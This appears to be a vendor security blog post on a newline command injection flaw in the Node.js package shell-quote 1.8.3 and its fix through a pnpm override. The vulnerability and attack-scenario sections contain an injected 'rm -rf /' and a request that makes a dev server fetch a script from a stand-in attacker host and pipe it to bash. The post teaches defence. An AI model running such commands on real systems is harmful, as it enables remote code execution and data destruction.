How Command Injection Happens in Node.js shell-quote and How to Fix It
Shell argument quoting sounds like a solved problem — wrap the string in quotes, done. But shell-quote 1.8.3 had a subtle gap: it forgot about line terminators. That single omission is CVE-2026-9277, a critical command injection vulnerability that lets an attacker smuggle a second shell command past the quoting layer simply by embedding a newline character in their input.
This post walks through exactly what went wrong, how the dependency is used in this project, and how a two-line pnpm override closes the vulnerability completely.
The Vulnerability Explained
What shell-quote Does — and Where It Failed
shell-quote is an npm package that safely serializes an array of strings into a single shell command line. It is used in development tooling — most notably by launch-editor (which opens files in your IDE from the browser) and react-dev-utils (the Create React App development server utilities).
The core contract of shell-quote is: any string you pass in comes out quoted so the shell treats it as a single token. For example:
const quote = require('shell-quote').quote;
quote(['git', 'commit', '-m', 'my message']);
// → "git commit -m 'my message'"
In shell-quote 1.8.3, that contract broke down for inputs containing newline (\n) or carriage-return (\r) characters. Because those characters were not escaped or stripped, an attacker-controlled string could terminate the current shell line and begin a new command:
// shell-quote 1.8.3 — VULNERABLE
quote(['git', 'commit', '-m', 'fix\nrm -rf /']);
// → "git commit -m 'fix\nrm -rf /'"
// ^^
// The shell sees the newline as a command separator.
// 'rm -rf /' executes as a second command.
The shell interprets the embedded \n as if the user had pressed Enter, so everything after it runs as a brand-new command with the privileges of the Node.js process.
Vulnerable Dependency Resolution in pnpm-lock.yaml
Before the fix, the lockfile pinned the vulnerable version in two snapshot entries:
# pnpm-lock.yaml — BEFORE (vulnerable)
shell-quote@1.8.3:
resolution: {integrity: sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw==}
engines: {node: '>= 0.4'}
And both consumers resolved to it:
launch-editor@2.12.0:
dependencies:
picocolors: 1.1.1
shell-quote: 1.8.3 # ← vulnerable
react-dev-utils@...:
dependencies:
shell-quote: 1.8.3 # ← vulnerable
Attack Scenario: Exploiting launch-editor
launch-editor takes a file path from an HTTP request made by the browser during development and passes it to a shell command that opens the file in the configured editor. If a developer's local dev server is reachable on the network (e.g., in a shared office or CI environment), an attacker on the same network could craft a request with a path like:
/file?filename=src/App.js%0Acurl+https://attacker.example/shell.sh+|+bash
launch-editor would pass the decoded filename through shell-quote 1.8.3, which would fail to neutralize the %0A (newline), resulting in the shell executing:
code src/App.js
curl https://attacker.example/shell.sh | bash
The second command runs with the full privileges of the development server process — which, in many CI/CD pipelines, has access to secrets, tokens, and the filesystem.
The Fix
Two-File Change, One Override
The fix is elegant in its simplicity: rather than waiting for launch-editor or react-dev-utils to publish their own updates, the project uses pnpm's overrides mechanism to force every package in the dependency tree to resolve shell-quote to the patched version 1.8.4.
package.json — before:
"pnpm": {
"overrides": {
"fast-xml-parser": "4.5.4"
}
}
package.json — after:
"pnpm": {
"overrides": {
"fast-xml-parser": "4.5.4",
"shell-quote": "1.8.4"
}
}
This single line tells pnpm: regardless of what version any dependency requests, always install shell-quote@1.8.4.
What Changed in pnpm-lock.yaml
The lockfile reflects the forced resolution across all four affected locations:
# pnpm-lock.yaml — AFTER (patched)
shell-quote@1.8.4:
resolution: {integrity: sha512-VsC6n6vz1ihYYyZZwX7YZSF5l5x36ca17OC+a69h94YqB7X6XLwf+5MOgynYir2SLFUbl8gIYvBo8K8RoNQ6bQ==}
engines: {node: '>= 0.4'}
launch-editor@2.12.0:
dependencies:
picocolors: 1.1.1
shell-quote: 1.8.4 # ✅ patched
react-dev-utils@...:
dependencies:
shell-quote: 1.8.4 # ✅ patched
Why the Integrity Hash Matters
Notice that the resolution.integrity SHA-512 hash changed between 1.8.3 and 1.8.4. pnpm verifies this hash on every install, so even if an attacker attempted a supply-chain substitution, the install would fail with a checksum mismatch. Pinning the override to 1.8.4 with its known-good hash is a defense-in-depth measure on top of the version bump.
What shell-quote 1.8.4 Actually Changed
Version 1.8.4 adds explicit escaping for \n and \r characters before they are embedded in quoted shell tokens. The fix ensures that line terminators are either stripped or replaced with their escaped representations (\\n, \\r), so the shell never interprets them as command separators regardless of the surrounding quote style.
Prevention & Best Practices
1. Audit Transitive Dependencies Regularly
This vulnerability lived in a transitive dependency — neither launch-editor nor react-dev-utils are direct dependencies of the application, yet both pulled in the vulnerable shell-quote. Run your SCA scanner against the full dependency tree, not just direct dependencies:
# With Trivy
trivy fs --scanners vuln .
# With pnpm audit
pnpm audit
2. Use pnpm Overrides (or npm/yarn Resolutions) Proactively
When a vulnerability is found in a transitive dependency and the direct dependency hasn't shipped a fix yet, use your package manager's override mechanism:
| Package Manager | Mechanism | Field |
|---|---|---|
| pnpm | pnpm.overrides |
package.json |
| npm | overrides |
package.json |
| yarn classic | resolutions |
package.json |
| yarn berry | resolutions |
package.json |
3. Avoid shell=true and String-Based Command Building
The root cause of command injection is always the same: building a shell command string from untrusted input. Where possible, use child_process.execFile or child_process.spawn with an argument array instead of a command string:
// ❌ Vulnerable pattern — shell interprets the string
const { exec } = require('child_process');
exec(`open ${filename}`); // filename can contain \n
// ✅ Safe pattern — arguments are never interpreted by a shell
const { execFile } = require('child_process');
execFile('open', [filename]); // filename is passed as-is to execve()
4. Pin Integrity Hashes in Lockfiles
Always commit your lockfile (pnpm-lock.yaml, package-lock.json, or yarn.lock) to version control. Lockfiles record the integrity hash of every resolved package, making supply-chain substitution attacks much harder.
5. Reference Standards
- OWASP Command Injection: https://owasp.org/www-community/attacks/Command_Injection
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- OWASP Top 10 A03:2021 — Injection
Key Takeaways
shell-quote1.8.3 did not escape\nor\r, meaning any user-controlled string containing a newline could inject a second shell command — even inside single quotes.- Both
launch-editorandreact-dev-utilsin this project's dependency tree consumed the vulnerable version, creating two distinct attack surfaces in the development server. - A pnpm
overridesentry is the right tool when a transitive dependency has a known CVE and the direct dependency hasn't yet shipped a patched version. - Integrity hashes in
pnpm-lock.yamlchanged from the 1.8.3 to 1.8.4 entry, providing an additional layer of supply-chain verification. - Development tooling is not a safe zone — vulnerabilities in dev-only dependencies can still be exploited in shared development environments, CI/CD pipelines, and developer workstations.
How Orbis AppSec Detected This
- Source: User-controlled input (e.g., a
filenamequery parameter) passed tolaunch-editorduring local development server operation. - Sink:
shell-quote'squote()function called insidelaunch-editorandreact-dev-utils, which feeds the resulting string directly to a shell command execution context. - Missing control:
shell-quote1.8.3 performed no escaping or stripping of newline (\n) and carriage-return (\r) characters before embedding them in quoted shell tokens. - CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- Fix: The
shell-quotedependency was forced to version 1.8.4 across the entire dependency tree via apnpm.overridesentry inpackage.json, replacing the vulnerable resolution in bothlaunch-editor@2.12.0andreact-dev-utils.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
CVE-2026-9277 is a reminder that shell quoting is harder than it looks. A single missing character class — newlines — in shell-quote 1.8.3 was enough to turn a routine file-open call in launch-editor into a potential arbitrary command execution vector. The fix required only two lines of configuration in package.json and a corresponding update to pnpm-lock.yaml, but those two lines close the vulnerability across every consumer in the dependency tree simultaneously.
The broader lesson: treat your dependency tree as part of your attack surface. Transitive dependencies in development tooling still run on real machines with real credentials and real access to your codebase. Scan them, pin them, and override them when necessary.